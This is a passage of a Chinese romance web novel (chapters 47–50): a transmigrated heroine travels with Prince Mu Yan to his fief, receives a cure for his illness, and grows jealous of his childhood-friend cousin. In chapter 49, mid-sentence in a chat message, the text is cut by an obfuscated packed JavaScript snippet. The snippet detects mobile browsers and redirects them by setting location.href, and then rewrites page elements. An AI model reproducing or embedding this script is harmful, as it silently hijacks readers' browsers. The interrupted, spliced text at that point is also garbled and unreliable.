“夫人确实是第一次与我一道出远门,钱老板可别再取笑她了。” “纪公子可别误会,我是想与尊夫人说,夫人的夫君有如此姿容,又温柔体贴,想来比起故事中那襄王殿下也不遑多让,”钱进笑道,“有这样的郎君相伴,夫复何求?” 穆衍闻言也笑了起来,伸手扣住江沁月空闲的左手,修长的手指轻松挤进她的指缝与她十指相扣。 江沁月被他突然的动作惊得错愕,终于抬眼看向了他,却见穆衍敛去笑意,倾身靠近了她一些。 “夫人是思慕故事里的襄王殿下,还是艳羡故事里的那位姑娘?”他问道,“为夫可是有什么地方做得不好,惹夫人不快了?” “……没有,夫君待我很好。”江沁月嘴角扯出一抹浅笑。 “夫人可莫要骗我,方才听个故事便那般娇怯,我还以为夫人要移情别恋了。”穆衍的语气似乎都真带上了几分委屈。 他带着江沁月的手按上自己的胸口:“那夫人是更喜欢故事里的襄王殿下,还是更喜欢我?” 扑通、扑通。 掌心处传来穆衍沉稳有力的心跳,江沁月却觉得自己的心脏快要跳出胸腔。 “……”她紧张地咽了口口水,暗自腹诽,这穆衍的戏瘾是不是太大了点? 最后她梗着脖子别开了头:“你们没什么可比的。” 这都是一个人,有什么好比的?戏瘾大发也就罢了,自己怎么还跟自己较上劲了? “夫人若不肯说的话,只怕我会日日茶饭不思,夜夜不得安眠了。” 江沁月无奈配合道:“你都是我夫君了,那你说我更喜欢谁?” 一旁的钱进看见这小夫妻俩你来我往的蜜里调油,笑得合不拢嘴:“你们夫妻俩感情可真好,我一想起家里那婆娘心里就发怵,成婚十几年了,每天回去都得先劈头盖脸挨她一顿骂,怎么样都能给我挑出错处来。” 见他絮絮叨叨抱怨着,嘴角却是没压下来过,江沁月便也调笑道:“钱老板身在福中不知福,竟不晓得打是亲来骂是爱 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不过她什么也没说,保持沉默继续装睡。 “别装睡了,夫、人。” 江沁月从善如流,睁开眼睛坐直了身子道:“不是我写的!我怎么可能写这么狗血俗套的剧情?是百晓楼那边搞出来的。” “原来夫人在京城时便已经听过一遍了,”穆衍好整以暇地看着她,“我被迫禁足那么久,也不把这等趣事讲给我听听。” 江沁月简直快哭了。 “殿下,我不是有意瞒着你,这……你让我怎么开口讲?我去百晓楼听过一遍后,吓得我足不出户了好几日,生怕再听到什么新版本。” 穆衍忙正色几分,温声道:“抱歉,我不是怪你的意思,就是见你心事重重的样子,以为你还记挂着昨日的事。” 他接着道:“流言八卦也就是一时的,大家都爱看新鲜罢了,等我们从楚阳回京,便又是一片风平浪静了。” 江沁月点点头。 罢了罢了,别多想了,穆衍也说过,离京城越远就越安全,之后应该也不必装得这般浓情蜜意了。 一行四人一路上走走停停,游山玩水,虽然不赶行程,但时间长了众人还是难免疲惫。 不过万幸的是,他们此刻已经到了楚阳地界。 幸好八卦的传播范围也有限,之后的路上几人也没再听到过“风流王爷俏寡妇”的故事,江沁月也狠狠松了口气。 “楚阳虽与京城相隔千里,但也算是富庶之地、鱼米之乡,美人美景与美食皆是不缺,我们在这里且要呆上一段时日,之后我带你慢慢玩。” 见江沁月进了城后便撩起帘布兴奋地左看右看,穆衍笑着介绍道。 “好……诶殿下,那边好多人排队,是在买什么东西么?”江沁月直接把脑袋探出了窗外,想要仔细瞧个究竟。 马车掠过店门口的一瞬间,江沁月似乎看见店堂中的桌案前坐着一道熟悉的身影。 47. 藕花深处同舟渡 青玉方?! 然而马车飞驰而过,江沁月也没来得及看清堂中那人到底是不是她。 “殿下,刚刚那个人好像是玉方……”江沁月回过头来转向穆衍,“她已经出山了?还也来了楚阳?真是好巧。” “我们先到王府安顿好,待会儿让云霏出来看看情况吧,”穆衍笑着道,“青神医亦是我的救命恩人,若真是她,定要请她来王府小住,盛情相待。” 马车缓缓停了下来,历经半月奔波,他们终于到达了目的地。 江沁月下了马车打眼一瞧,这封地的王府比起京城那座占地更为广阔,气势也更显宏伟。 “殿下总算是回来了,王府中的一切都已打点好了,”一位看起来较为年长的女官迎上前来,“自从殿下传信来后,奴婢便日日盼着殿下早些回来。” 接着她又看向江沁月:“这位便是江姑娘吧?殿下在信中特意提及了姑娘,说姑娘初见时便救了他一命。殿下是先王与先王妃唯一的血脉,奴婢替先王妃谢过姑娘。” 说着她便向江沁月行了一礼,江沁月忙将她扶起:“言重了,这都是我应该做的。” “沁月,这位是孙姑姑,从前是我母妃的贴身侍女,母妃去世后便回了楚阳来,做了这边王府的掌事女官,打点府中一切事务。”穆衍介绍道。 “孙姑姑好。”江沁月露出一个见长辈时的标准甜美笑容。 “真是个标致的姑娘,”孙姑姑也笑了起来,“殿下折煞奴婢了,奴婢只是个看门守院的,督促下面的人勤快些打扫,让王府一切如旧,不要落了破败罢了。” “一别数年,孙姑姑身子可还康健?” “有劳殿下记挂,奴婢一切都好,王府中也一切都好。”孙姑姑笑道,“奴婢也算是看着殿下长大的,几年不见,殿下看上去更加成熟稳重了,到底是战场上磨炼人,殿下定是吃了不少苦。” 穆衍摇摇头道:“算不得什么,父王能做到的,我自然也能做到,总归以后也……” 孙姑姑闻言眼神暗了暗,想必也是知道了他之前病重的事。 穆衍及时止住了话头,另外说起些别的事。 寒暄一阵后,穆衍和江沁月便跟着孙姑姑一起进了王府,府中所有人都聚在前院里等着穆衍。 “恭迎殿下。”众人齐齐下拜。 “不必多礼,平身吧。” 穆衍又对江沁月道:“十余年前去京城时走得急,并未带多少随从同去,他们基本上都是留下的王府老人。” “这一路回来肯定是累了,奴婢先带殿下和江姑娘去安顿歇息吧。” “孙姑姑,给江姑娘的住处安排在哪边?”穆衍问道。 “奴婢正要说这事呢,殿下和江姑娘莫要怪罪下面的人怠惰,王府虽一直有人在打理,但毕竟久未住人,要彻底打扫一遍也得颇费些工夫。” 孙姑姑接着道:“眼下殿下的院子倒是全部打扫好了,其他院落……所以江姑娘不妨就住到殿下那边去,那间庭院也很是宽敞。” 一间屋子都睡过了,四舍五入连一张床也是一起躺过了,住一间院子还有什么可为难的? 一踏进院子里,江沁月和穆衍不由得都愣住了。 这里真是……充满了童趣,十余年来分毫未变。 庭院角落里静静伫立着一架木制滑梯,廊下的武器架上摆放着给小孩子玩的各式各样的木制刀剑,凉亭里还有几匹小木马…… 旧物难抵岁月侵蚀,其上或多或少都有些破损痕迹,也看得出曾经填过缺角补过漆,但好在它们并未蒙尘。 “殿下十一岁时便离开了王府,之后这里的一切都没动过,但该添置的东西,前两天也都已经安排好了。”孙姑姑亦有些感慨。 正房中的装饰摆设也基本保持着当年的样子,博古架上放着的都是些小孩子喜欢的玩意儿,还有些估计是穆衍自己刻的小玉雕什么的。 正中央墙上那几幅裱好的字画也是出自穆衍之手,虽已算得上佳作,但笔触依旧稍显稚嫩。 所有的一切都在无声地诉说,住在这里的孩子曾经拥有一个幸福的童年。 而离开家乡去到京城之后,这样的美好便也不复存在,幸福像泡沫一样消散,迎接他的只有无休无止的噩梦。 他不断失去,最后只剩他孤身一人。 江沁月轻轻地叹了口气,希望回到这里带给他的是快乐,而不是触景伤情。 她偷偷瞥了穆衍一眼,见他神色如常地四下打量着阔别十余年的住处,才稍稍放下心来。 江沁月住进了东边的厢房,连日的疲惫让她倒头就睡,直到临近晚膳时才被云霞叫醒。 都住在一个院子里了,自然也就跟穆衍一起用晚膳了,才在桌边坐下便听见云霏带来一个好消息: “青神医确实来楚阳了,她比我们早到两日,就在我们今天路过排队的那地方看诊,我去问过她了,她说她已寻得住处,便不来王府叨扰了。” 云霏接着道:“青神医说,她初来乍到忙得抽不开身,过几日会亲自来王府拜访。” “太好了!我们也该有半年没见了,”江沁月笑道,“到时候可以让玉方看看我这毒还有没有什么办法,哦对,殿下的病也该让她再瞧瞧……” 青玉方——行走的专家号。 她倒是不太担心自己的毒,反正漆桐答应了回家前帮她治好,而穆衍的生死存亡却直接关系着她能不能回家。 …… 江沁月觉得,在楚阳的生活有一种平平淡淡的幸福感。 或者说,与京城相比,这里的生活更有人气。 京城看起来应是大梁最繁华的所在,然而其中却满是腐朽,权贵阶级与普通人,仿佛属于两个不同的世界。 而正如穆衍所说,楚阳是鱼米之乡、富庶之地,这里的人虽也分三六九等,却不像京城那样不可冒犯、难以逾越。 甚至王府的外墙边上,还有不少小贩摆摊,张家大哥卖刚捞上来的大鱼小虾,李家大娘卖新鲜采摘洗得白白净净的莲藕。 而从王府后门出去走上一小会儿,便能看见以丰饶物产养活这一方水土的泓湖。 泓湖盛产莲藕,莲藕深藏于淤泥之中,水面上则是一望无际的碧绿莲叶随风摇晃。 六月的时节,也正是荷花开得最好的时候。 “殿下,我们也去游湖赏荷吧?”江沁月看着湖中来来去去的点点船只,不免有些心痒痒。 “好啊,我让人去寻一艘画 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江沁月此行的衣裳都是他准备的,来了这边后不必再扮演富商夫人,便又换上了她一贯爱穿的风格。 夏日炎炎,她今日穿了身粉白襦裙,外面罩了件青色薄衫,既是清新脱俗,又与这美景相衬。 她露在袖子外面的那一小节手腕白皙纤细,没入轻纱罗衫之下却若隐若现。 穆衍不自在地移开眼,他之前从未发觉,女子夏日的衣装有如此清凉。 荷叶相连遮天蔽日,他们也辨不得方向,任由小船继续向荷丛深处漂去。 小木船到底是比不上画舫那般舒适,二人坐了许久,都有些腰酸腿麻。 最后两人索性肩并肩地躺在了不算宽敞的小船上,望着天边的夕阳一点点隐去。 在仰视的视角下,头顶的片片荷叶变成了一朵朵伞盖,江沁月觉得此刻的他们像是水中的两条小鱼。 幕天席地,与君同舟。 待到尽兴而归,深蓝的天幕上已缀满了点点星子。 江沁月与穆衍本来是打算游完湖之后随便吃些小吃什么的,但谁也没料到回来得这么晚,两人只得饿着肚子回了王府。 王府里此刻也已经没了饭菜,穆衍本来打算叫人做几道送来,江沁月却拦住了他。 “殿下,扰人清梦最是可恶,这么晚了就别把人再喊起来了吧?” 接着她自告奋勇道:“若是殿下信得过的话,不如我给殿下露一手?” 结果等两人摸去了厨房,江沁月才想起一个很严重的问题——她不会用这柴火炉灶。 “我来吧,行军途中也是常用火的,”穆衍三两下便生好了火,“你看看火的大小是否合适?” 江沁月其实也拿不准,很没底气地嘀咕了句“差不多吧”。 她也不敢再班门弄斧大展拳脚,煮了两碗小面卧了俩鸡蛋,又凉拌了个小菜就算完事。 厨房中也有桌子板凳,两人便在这里将就吃了。 厨房里烟火气重,江沁月和穆衍都热得出了汗,被汗水打湿的发丝粘在额前,显得一副“没有功劳也有苦劳”的样子。 江沁月莫名觉得,他们这样平淡如水的生活,却比在路途中故作甜蜜的样子更像是一对夫妻。 48. 来日可期道欢喜 是日清早,孙姑姑传话来说,最近初到楚阳城的那位青神医前来拜访,人已在前厅里候着了。 彼时江沁月和穆衍正在用早膳,江沁月闻言猛扒拉两口便迫不及待地向前厅奔去。 “玉方!你来啦!!” 未见其人先闻其声,青玉方正端坐着喝茶,看见久违的友人飞奔而来,忙放下手中的茶盏站起身,与她抱了个满怀。 “我们也有半年没见过了,虽互有通信,不过既然见了面,我还是要问一句,最近可还安好?”青玉方笑道。 想起自己美救英雄挨了那一刀后遭的那些罪,那自然是不太安好的。 “嘿嘿,这个待会儿再说,”江沁月讪笑两声,“玉方你是什么时候出山的?离京前我还去问过昭兰姐,那会儿都还没你的消息。” “有段时日了,我出来后便去了封信往京城,大抵你前脚刚走,后脚信便到了吧。” 江沁月拉着她的胳膊晃了晃:“总之我们在这儿也遇上了,真是好巧,前几天看见你时我都不敢确定,后面见你忙得很,也没敢来打扰你。” “刚到一个地方肯定是最忙的时候,这不刚闲下来一些,我就赶紧来找你了。” 姐妹俩手拉手晃悠着叙旧的片刻工夫,穆衍也随后到了前厅,青玉方连忙行礼见过,又问起他身体如何。 “本王一切安好,倒是想请青神医先为……” 江沁月忙打断他的话插嘴道:“玉方你别听他的,他都不好好吃药!之前发病的时候还吐血,可吓人了,你快给他瞧瞧吧。” “我此番也正是为了殿下的病而来,此前我便与殿下说过,我拟出过一个方子,但其中有一味药极其难寻。” 青玉方说着拿起放在一边桌上的木盒:“许是机缘所致,这世间难得的药材,竟真被我撞见了。” 她打开木盒,一朵莹白如玉的灵芝静静地躺在里面,似乎还泛着温润的光泽。 若不是青玉方说了这是药材,一时还分辨不出,这究竟是天造地化的灵芝,还是精雕细琢的玉如意。 “天山雪芝,据古籍记载,此药药力极强,可生死人肉白骨,但因其生长在极寒之地,又与茫茫白雪融于一色,所以极难寻得。” “况且也不是每一株天山雪芝都能入药,残品采摘下来不多久便会化为汁水,优品则能始终莹润如玉,像是雪山上终年不化的积雪。” 听起来玄之又玄,江沁月好奇问她是怎么得到的这等稀罕药材。 青玉方只是合上了盖子,笑而不语,深藏功与名。 “那这个药吃了之后,殿下是不是就能痊愈了?”江沁月难掩激动,真想马上把那雪芝直接塞进穆衍嘴里,让他如获新生。 青玉方道:“别急,到手的鸭子还能飞了不成?天山雪芝药性极其寒凉,身子骨不佳的人直接服用,反而会适得其反。” “所以此药需与十余味药性温热的药材相佐,尤其是需要一株百年以上的人参,再文火慢熬七日,方能中和其寒性。” “眼下这边很难办到,尤其是熬药时可半点马虎不得,我已将药方与制法都记于纸上放在匣中,殿下回去可直接交给太医院的人处理。” 穆衍的眼神中也是按捺不住的欣喜:“我亦从未想过,这病还有能够痊愈的一天,青神医的大恩大德,本王真不知该如何报答。” “殿下言重了,这不过是医者本分罢了。” 见两人你一言我一语地打太极,江沁月不由得感叹,穆衍命苦了那么久,也总算是好起来了。 被天降的喜悦冲昏了头脑,两人齐齐将解毒之事忘到了九霄云外,待将青玉方送出王府后过了好一阵后,还是穆衍先想起了此事。 “罢了罢了,反正还要在楚阳待上一阵,玉方她也忙,之后再去找她看吧。”江沁月道。 其实她也懒得去麻烦青玉方了,方才青玉方虽未言明,但寻来这天山雪芝定是费了她不少工夫,反正这毒到时候就能解,何必现在再去让她殚精竭虑? “沁月,明日陪我去王陵祭拜父母吧,”穆衍道,“再过些时日等我把要带走的书册都整理出来,我们便启程回京。” 近乡情更怯,回来这么久了,他却一直不敢前去祭拜父母。 此前他请缨出征未能扶灵回乡,如今又身患顽疾狼狈不堪,穆衍觉得自己无颜面对他们,更不希望他们九泉之下魂魄不安。 而老天总算没有太薄待他,现在也是时候了。 …… 王陵在楚阳城郊外,路程并不算近。 马车里的二人皆是一身素衣,彼此之间没什么话,气氛有些沉闷,不过去祭拜故去的至亲本也不是一件轻松的事。 江沁月其实不太明白,穆衍为什么要捎上她一起,再怎么想,带着朋友去扫墓都挺奇怪的。 王陵依山傍水,是出风景秀美的所在,下了马车后,穆衍和江沁月连同云霏、云霞一起沿着神道向陵寝中央走去。 “父王、母妃,儿子不孝,终于回来看你们了。”穆衍平静的声音有些抑制不住的颤抖,他亲自将祭品一样样摆好,又在碑前洒了三杯酒。 他又取出三支香点上,云霏和云霞紧随其后,江沁月也跟着照做。 接着便是烧纸,几人轮流往铜盆里扔着纸钱,一边扔一边絮絮叨叨说些话。 云霏和云霞是穆衍的父亲从边城捡回来的孩子,先王与先王妃待他们极好,兄妹二人也几乎视先王夫妇为父母。 此刻在陵前,三人皆是哭红了眼。 风卷起燃烧的灰烬盘旋向上,似是故人回应着他们的诉说。 江沁月有点尴尬,只能默默烧纸,她与先王夫妇非亲非故,实在哭不出来,也没什么好说的。 她只默默在心中向他们说了声抱歉,毕竟他们的离世是自己亲手书写,而穆衍的心疾虽不是她明写的,但或多或少和她有些间接关系。 “你们先回马车上吧,我还有些话想单独和父王母妃讲。”穆衍的情绪稍微平复了些,转头对他们道。 待到江沁月几人走远,穆衍伸手抚上冰冷的石碑,指尖描摹着刻字的凹痕。< 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“父王、母妃,我喜欢她,我想娶她做我的妻子、我的王妃。”穆衍的声音很轻,却又坚定无比,“我喜欢她,我不想再失去她。” 他唇角勾起一丝温柔的弧度:“待到回了京城治好了病,我就去与她表明心意,我不知道她对我是何想法,但我可以等,等到她满心满眼都是我的时候,再将她风风光光娶进王府。” “到时候我也不必再呆在京城养病了,我就去向陛下求个恩典回楚阳来,这样我们也能常来看看你们。” “……” 他念叨了许久,似乎将想说的话都说尽了,终于伏地叩首行了大礼起身离开,步履匆匆不忍回头。 回程的马车上,气氛倒是松快了不少,只是才到了王府门前,孙姑姑便迎了上来,说府里又来了客人。 穆衍皱了皱眉:“何人?” “殿下,是纪家的人,奴婢这才将人请了进去。”孙姑姑也知道穆衍很少见客,但是纪家,是先王妃的娘家。 纪家并不是多么显赫的门楣,但是正所谓“庙小妖风大,池浅王八多”,其中的腌臜事也是不胜枚举。 先王妃和家族关系淡薄,与先王也不是联姻,在嫁进王府之后便与娘家渐渐少了联系,去了京城后更是几乎再无联络。 原因无他,先王在前线颇受重用,纪家人便想通过王妃女儿的关系,一人得道鸡犬升天——当然,这条路毫无疑问没走通。 穆衍与母亲的娘家更是没什么来往,只是儿时还在楚阳城时,与纪家的小辈一起玩耍过一段时间。 他不知道什么风把纪家人吹来了,也不知道来了哪些人,便抬脚向前厅走去,打算先看看什么情况。 江沁月更是一头雾水,想也不想便也跟了过去。 刚一踏进前厅,只见一道倩影闪过,以迅雷不及掩耳之势扑进了穆衍的怀里。 江沁月站在穆衍身后,看不清那女孩的面容,只听她脆生生地唤了一句: “衍哥哥!你终于回来了!” 49. 竹马青梅非良配 穆衍面色不虞,要将贴于自己胸前的女孩推开,对方却紧紧环着他的腰不撒手。 “回来!真是越来越不像话了,还不快见过殿下?”那边一人呵斥道,带着其余男女老少好几位一起起身给穆衍行礼。 穆衍扫过那几位纪家人,虽然许多年未见,但他也一眼看出,为首说话的那位是母妃的亲哥哥,也就是他的舅舅,其他更疏远些的族人,他也能认个大概。 他将长辈们招呼了一遍,客气道:“应是本王去纪府拜见各位长辈才对,竟劳烦舅舅带着各位到王府来,招待不周真是失礼。” “尊卑有别,怎敢劳动殿下大驾?”舅舅笑了笑,又指了指刚刚被他斥责的女孩,“殿下可还认得出她是谁?” 眼前的女孩负手而立,笑眯眯地歪着脑袋看他,穆衍仔细回想了一下,却不记得纪家有哪位姑娘小姐与自己相熟。 “衍哥哥,你真认不出我了吗?”见穆衍半晌没反应,女孩的笑脸一下子垮了下来。 一旁的舅舅忙道:“不怪殿下认不出,实在是年年变化太大……” “年年……纪思年?”穆衍沉吟片刻,不确定道。 实在怪不得他想不起,他明明记得纪思年是舅舅的幼子,小自己三岁,是儿时跟总跟在他屁股后面跑的爱哭鬼。 “正是正是,殿下还记得,”舅舅哈哈大笑起来,“年年生下来就身体不好,请来的先生说要将她当成男娃娃养,才能保她平安长大。” “结果这些年下来就养成了个野丫头,一点淑女的样子都没有,殿下勿要怪她失礼。” 纪思年哼道:“衍哥哥才不会与我计较那么多呢!” “当年殿下走得匆忙,年年知道了之后哭得一把鼻涕一把泪,哭哑了嗓子还发了三天高热,叫人又心疼又好笑。”舅舅感慨道。 “原先不知年年是女孩子,还伙同小子们欺负她,实在是惭愧,”穆衍歉疚地笑了笑,“现在可不像儿时那般爱哭了吧?” “当然了!”纪思年挽住穆衍的手臂,“不怪衍哥哥,是我自己喜欢跟着衍哥哥,但那些讨厌鬼总不想带上我一起玩。” 穆衍不动声色地抽开了自己的手:“年年今年有二十了吧?可许了人家?” 舅舅摇头叹道:“殿下看看她这样子,哪家公子愿意娶?” “他们不愿意娶,我还不愿意嫁呢!再说了,衍哥哥比我还大上三岁,不也还没娶妻吗?”纪思年话音刚落,便忽然瞧见了一直在后面站着的江沁月。 “衍哥哥,这位姐姐是谁?” 江沁月踏进前厅后便一阵后悔,人家亲戚来访,自己跟来做什么? 但转身就走似乎也不太合适,她便缩在一旁安静如鸡默默看戏。 结果纪思年一句问话让在场十余束目光齐刷刷地落在了自己身上。 “沁月是于本王恩重情深之人,此事说来话长,你不必悉知。” 穆衍也回过身来看她,他一让开,江沁月方才看见了对面这位表妹是何模样。 与颜桃那样隔出不知几代开外的远房表妹不同,眼前这位可是穆衍的亲表妹。 纪思年也是个漂亮姑娘,细看起来,眉眼间与穆衍还有两三分相似,却更为钝圆,显出几分娇憨可爱,言行举止大大咧咧,大概是从小被当成男孩子养的缘故。 穆衍看起来十分坦然地接受了表弟变表妹的事实,这边一口一个衍哥哥,那边一口一个年年,叫得亲热熟稔得很。 想来二人大抵也算得上是青梅竹马了。 郎骑竹马来,绕床弄青梅——难道说……? 江沁月双眉微蹙,不愿去想那个可能性。 “恩重情深之人?”纪思年歪着脑袋打量她,琢磨着这到底算是什么关系。 又听她道:“眼瞧着我们自家人相见也跟了来,我还以为是衍哥哥不知何时纳来的侧妃或者侍妾呢。” ……好吧,江沁月承认,虽然直觉不一定可靠,但她就是不太喜欢这位表妹, “年年,休要对贵客无礼。”穆衍的语气中带上了几分警告的意味。 “抱歉,是我不识礼数,唐突惊扰了诸位,更不敢在此久留败了诸位雅兴,望殿下恕罪,在下先行告退。” 江沁月语速飞快,话毕行了一礼便转身离去,一连串动作行云流水。 “沁月!”穆衍急切的声音从背后传来,不过这时她已迈出前厅,自是不会再回头。 紧接着纪思年脆生生一句“衍哥哥”又阻断了穆衍接下来的话,江沁月也不作停留直奔房间,想回去躲个清净。 “衍哥哥,先别管她了,我们这么多年没见,不如留我在王府住几天叙叙旧吧?”纪思年看向穆衍的眼神中满是期盼。 穆衍道:“此番来去匆忙,王府并未收拾妥当,住在这里怕是委屈了表妹。” 见他不允,纪思年眼中立刻闪出了泪光:“衍哥哥……” “小女一向把殿下看得比她亲哥哥还亲,这些年来对殿下亦是十分想念,”舅舅讪笑道,“殿下不日便要启程返京了吧?就当全舅舅一个不情之请吧。” 到底是母妃家里的长辈,穆衍也不愿闹得太难看,他叹口气道:“孙姑姑,让人赶紧再收拾出一间院子给年年住吧。” “不必这么麻烦,我就住衍哥哥院里就好,小时候玩得晚了,我不也常在你那边过夜吗?” 穆衍好言相劝:“小时候自是无妨,况且当初也不知道你是姑娘家,男女有别,现在还这般不讲究的话对你不好。” “刚才那个姐姐也住在王府吧?那我和她住一个院子就好,这样只需打扫一下房间就好,省得费时费力。” 穆衍:“……” 舅舅最后又奉承了几句好话,说劳烦穆衍费心,过几日就来接纪思年,便带着其余一众亲戚离开了王府。 …… 江沁月回到房间便给漆桐去了消息:“你夜观星象,现在情况如何?” 漆桐:“红鸾星一如以往亮晶晶,纠正你一下,我们的观星台不分昼夜。” 漆桐:“怎么了?有新发现?” 江沁月:“颜桃这位远房表妹是早就无缘,这下又来了个嫡亲的表妹。” 漆桐:“哦哟哟,那你这趟不白来,快说快说,我洗耳恭听。” 江沁月:“这才来能看出个啥?而且说实话,我不太希望她跟穆衍在一起。” 漆桐:“?” 漆桐:“你别告诉我,你想和穆衍在一起。” 江沁月:“说什么呢!我是觉得,她有点天真烂漫,也不太讲究礼数规矩。而且他们是近亲结婚,以后生个傻子怎么办?” 漆桐:“不要用你的现代思维去想,人家表兄妹那是亲上加亲,你别跟我说你不知道啊。” 江沁月:“哎呀,反正真要论起来,我还是看李娴与穆衍更登对,但估计没啥可能了。” 漆桐:“你喜不喜欢不重要,你得看穆衍喜不喜欢吧?” 江沁月:“……我知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16589801|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,人家青梅竹马的,如果穆衍真喜欢她,直接把人带回京城不就……” 她一行字还未敲完,便听见院中传来一阵喧嚣。 江沁月眉心狂跳,她将手机塞回枕头底下,躺倒在床上仰天长叹。 不是吧?她怎么过来了?! “衍哥哥,京城的王府会比这边更大吗?” “小一些,京城寸土寸金。” “衍哥哥,那皇宫是不是特别气派?有几个王府那么大?” “我不常进宫,约莫十个王府那么大吧。” “……” 纪思年叽叽喳喳问个不停,从京城风土人情问到西辽边境风光,穆衍也一一回答。 江沁月长叹一口气起身走到窗边,便看见纪思年兴奋地左指指右看看。 “哇!这些东西都还在,和小时候我来时一模一样!” 纪思年看到了角落里那架滑梯,跑过去就要拎起裙摆跃跃欲试。 穆衍连忙一把拉住她:“这东西年久失修,恐怕上面的木头都朽了,小心踩塌了受伤。” “还是衍哥哥关心我,那先去房间吧,”纪思年道,“我就住东边那间厢房吧?那间大一些,我小时候过来也都住的那边。” 穆衍道:“你江姐姐住在那边的,你去住西边那间吧。” “啊……可是西边那间好晒,又狭小闷热……”纪思年咬了咬下唇,面露纠结。 江沁月听见这话后一股无名火起,她将窗户“砰”的一声推得大开,露出一个自认为和善的笑容: “纪妹妹身娇体弱,就住我这间来吧,我皮糙肉厚,不怕晒也不怕热,我去住西边那间。” “行了年年,要么你去住西边那间,我让人多搬几个冰鉴来;要么便让孙姑姑另外收拾间院子,你住那边去。”穆衍道。 纪思年抿抿唇,还是让丫鬟带着东西往西边那间厢房去了。 东厢房窗边已不见江沁月的身影,穆衍走进房间,便看见江沁月倒了杯凉茶一饮而下,将空杯“咚”地一声重重搁在桌上。 “殿下见谅,夏日炎热,我肝火有点旺,明天我就去找玉方给我开点药去去火。”她没好气道。 “沁月,我知道刚才在前厅年年对你多有冒犯,她是家中幼女又体弱多病,自小便被宠坏了,你别跟她一般见识。” 穆衍叹了口气,又跟她说了纪思年要在这边小住几日的事。 “纪家毕竟是我母妃的家族,所以我虽与他们关系淡薄,但也不好交恶。舅舅都那样说了,我也不忍拂了他的意。” “你就当她年纪小不懂事吧,总归她也住不了多久,无关紧要的事别跟她计较,若是她太过分,你便直接与我说。” “年纪小不懂事?殿下怕不是忘了,我和她一样,现在都是二十岁。”江沁月简直气得想笑。 且不论古代女子二十岁如何,放在现代那也基本上都离家独立生活,或读书或工作了,怎么样都不能再以“不懂事”为借口了吧? 穆衍愣了一瞬,才反应过来同为二十岁,江沁月曾经过的是什么糟心日子,历经多少坎坷。 他却说出这样的话,让一个真正不容易的人去体谅一个不懂事的人。 “沁月……” “罢了罢了,”江沁月打断了他的歉疚,“咱们穷人家的孩子早当家,殿下放心,我不会与她怎么样的。” 她冷哼一声:“别这般如临大敌的样子,我不是母老虎,不会吃了殿下的小白兔表妹的。” 50. 偷得浮生半日宁 纪思年的到来打破了王府的平静生活,而江沁月陷入了一日赛一日的沉默。 倒不是纪思年会明着为难她,但她在王府里是越来越不自在了。 此番来楚阳本就是休闲散心,江沁月便过上了晚睡晚起的幸福生活,每日非得睡足五个时辰,不到日上三竿绝对不起。 穆衍一向是起很早的,也恰好趁早上凉爽,去藏书阁慢慢整理清点返京时要带走的书籍。 但他从不会扰人清梦,只叫人将早膳温着,待江沁月醒了单独给她端去。 然而自纪思年住过来后,江沁月每日清晨都会被一声声“衍哥哥”的呼唤吵醒。 而且这喧嚣的动静一旦开始便没完没了,让人连回笼觉都没法睡。 这不就又听见叮叮哐哐一阵响,是纪思年吵着要将桌椅搬到院子里用早膳。 大抵是怕日头晒,他们把桌椅安置在了靠近东厢房这边的阴凉处,于是乎江沁月蒙着被子也能将他们的对话听得一清二楚。 睡又睡不着,还被捂出一身汗,江沁月火大得很,一脚将被子踹到了地上去。 “衍哥哥,江姐姐都不用早膳的吗?”她听见纪思年问。 关你屁事。 穆衍答道:“她起得晚,等她醒了有人会送去的。” 她又听纪思年道:“江姐姐似乎睡得也很晚,昨晚我被她屋里亮着的烛光晃醒,一瞧都过了子时了。” 放屁!隔着老大个院子,那点光怎么就把你晃醒了? “她一向睡得晚,”穆衍道,“叫人把你床前的纱帐换成遮光的幔帐吧。” “衍哥哥,幔帐的话太闷热了……” “许是你睡得太浅才不好安眠,待会儿我让人送些安神香去你那。” 安神香安神香,到底谁现在更需要安神香?赶紧给我熏晕过去睡个好觉! “……” 这还仅仅只是每日的开始。 一日三餐,早饭她自个儿吃还能躲个清净,午膳和晚膳那可是备受煎熬。 纪思年来了,这一起吃饭的自然就变成了三个人。 江沁月与穆衍也是当了许久的饭搭子了,他们二人都不是话多聒噪之人,吃饭时偶尔说笑几句倒也轻松自在。 而纪思年的到来让整个席间变得热闹非凡。 她的话头大多落在纪家人或是楚阳地方事上,从她自己爹娘扯到表姑奶奶,再从楚阳这些年的变化扯到儿时与穆衍的各种趣事。 江沁月一概不知,也完全插不上话,只能默默吃饭掩饰尴尬。 就算这样也不得安生,当她正要将筷子伸向盘中那最后一只炸藕盒时,另一双筷子半路杀出,将那只炸藕盒夹进了穆衍碗中。 “我记得衍哥哥原先最爱吃我娘做的炸藕盒了。”纪思年笑道。 不吃就不吃!一只炸藕盒也要抢去借花献佛,又不是什么稀奇玩意,王府是穷得揭不开锅了吗? 江沁月恨恨地夹走一大筷子炒青菜。 偏偏这每一顿饭的时间又被拉得很长,她几度想要提前离席,又感觉这样显得她对纪思年多有不满似的。 终于捱完了这顿饭的工夫,几人纷纷起身,纪思年的目光忽然落在了穆衍腰间佩着的那只精致的小金球上。 “衍哥哥,这是京城流行的新式香囊吗?我还从未见过,真是好生漂亮。” 江沁月定睛一瞧,那正是她之前送给穆衍的镂空金香囊。 这礼物大概也算是投其所好了,她常见穆衍佩在身上,还换了好几条不同的流苏坠子来配各色衣袍。 穆衍道了声是,解下了那只香囊托在手上滚了几圈,香盂中的香料半点没洒出,算是向纪思年演示了一下其中机关的精巧之处。 “哇!好神奇!”纪思年凑近些仔细瞧了瞧,又眼巴巴地望着穆衍,“衍哥哥,这个能不能送给我呀?” 江沁月闻言霎时变了脸色,蓦地抬头看向穆衍。 他会答应吗? 大概是顾念儿时情谊又有舅舅嘱托,穆衍这些天对纪思年几乎是有求必应百依百顺。 这香囊看似是他的心爱之物,其实也不过是个可以随意转手赠人的小玩意罢了。 